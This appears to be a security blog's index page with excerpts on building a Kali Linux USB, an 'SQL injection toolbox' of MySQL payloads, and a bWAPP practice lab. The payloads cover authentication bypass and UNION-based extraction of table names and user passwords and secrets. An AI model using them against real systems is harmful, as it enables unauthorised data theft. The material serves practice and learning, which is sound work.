Official guidance: http://docs.kali.org/downloading/kali-linux-live-usb-install#linux To create a bootable usb flash drive: To find your flash drive's path: sudo fdisk -l The example command below assumes that the ISO image you’re writing is named “kali-linux-2016.2-amd64.iso” and is in your current working directory. The blocksize parameter can be increased, and while it may speed up the operation of the … Continue reading Building a flash drive Kali Linux →

MYSQL: ('-- ' is to comment out anything behind, don't forget the space behind to sperate the tailing text) ' or 1=1 -- ' and 1=0 union (select database(),1,1,1,1,1,1) -- ' and 1=0 union (select table_name,1,1,1,1,1,1 from information_schema.tables) -- ' and 1=0 union (select 1,id,login,password,secret,1,1 from users) -- a' UNION SELECT 1, "",1,1,1,1,1 INTO OUTFILE … Continue reading SQL injection toolbox →

I started a new instance for penetration practices (bWAPP http://www.itsecgames.com/): Practice Web App: http://ec2-54-219-178-119.us-west-1.compute.amazonaws.com This is a very buggy app created by Malik Mesellem @MME_IT. I am going to writing posts about some technique I use to penetrate this box. Have fun!